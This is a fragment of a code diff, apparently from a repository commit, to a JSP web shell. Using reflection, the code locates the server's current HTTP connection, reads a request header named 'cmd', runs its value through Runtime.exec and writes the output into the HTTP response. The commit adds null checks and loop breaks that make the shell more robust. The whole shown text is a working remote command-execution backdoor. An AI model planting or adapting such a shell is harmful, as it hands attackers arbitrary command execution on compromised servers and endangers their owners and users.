2424 obj = method. invoke(connection, null );
2525
2626 method = obj. getClass(). getMethod(" getHeader" , new Class []{String . class});
27- obj = method. invoke(obj, new Object []{" cmd" });
27+ String cmd = ( String ) method. invoke(obj, new Object []{" cmd" });
2828
29- String res = new java.util. Scanner (Runtime . getRuntime(). exec(obj. toString()). getInputStream()). useDelimiter(" \\ A" ). next();
29+ if (cmd != null && ! cmd. isEmpty()){
30+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next();
3031
31- method = connection. getClass(). getMethod(" getPrintWriter" , new Class []{String . class});
32- java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(connection, new Object []{" utf-8" });
33- printWriter. println(res);
32+ method = connection. getClass(). getMethod(" getPrintWriter" , new Class []{String . class});
33+ java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(connection, new Object []{" utf-8" });
34+ printWriter. println(res);
35+ }
3436
37+ break ;
3538 }else if (obj != null && obj. getClass(). getName(). endsWith(" HttpConnection" )){
3639 java.lang.reflect. Method method = obj. getClass(). getDeclaredMethod(" getHttpChannel" , null );
3740 Object httpChannel = method. invoke(obj, null );
4043 obj = method. invoke(httpChannel, null );
4144
4245 method = obj. getClass(). getMethod(" getHeader" , new Class []{String . class});
43- obj = method. invoke(obj, new Object []{" cmd" });
44-
45- String res = new java.util. Scanner (Runtime . getRuntime(). exec(obj. toString()). getInputStream()). useDelimiter(" \\ A" ). next();
46-
47- method = httpChannel. getClass(). getMethod(" getResponse" , null );
48- obj = method. invoke(httpChannel, null );
49-
50- method = obj. getClass(). getMethod(" getWriter" , null );
51- java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(obj, null );
52- printWriter. println(res);
46+ String cmd = (String )method. invoke(obj, new Object []{" cmd" });
47+ if (cmd != null && ! cmd. isEmpty()){
48+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next();
49+
50+ method = httpChannel. getClass(). getMethod(" getResponse" , null );
51+ obj = method. invoke(httpChannel, null );
52+
53+ method = obj. getClass(). getMethod(" getWriter" , null );
54+ java.io. PrintWriter printWriter = (java.io. PrintWriter )method. invoke(obj, null );
55+ printWriter. println(res);
56+ }
57+
58+ break ;
5359 }
5460 }
5561% >
0 commit comments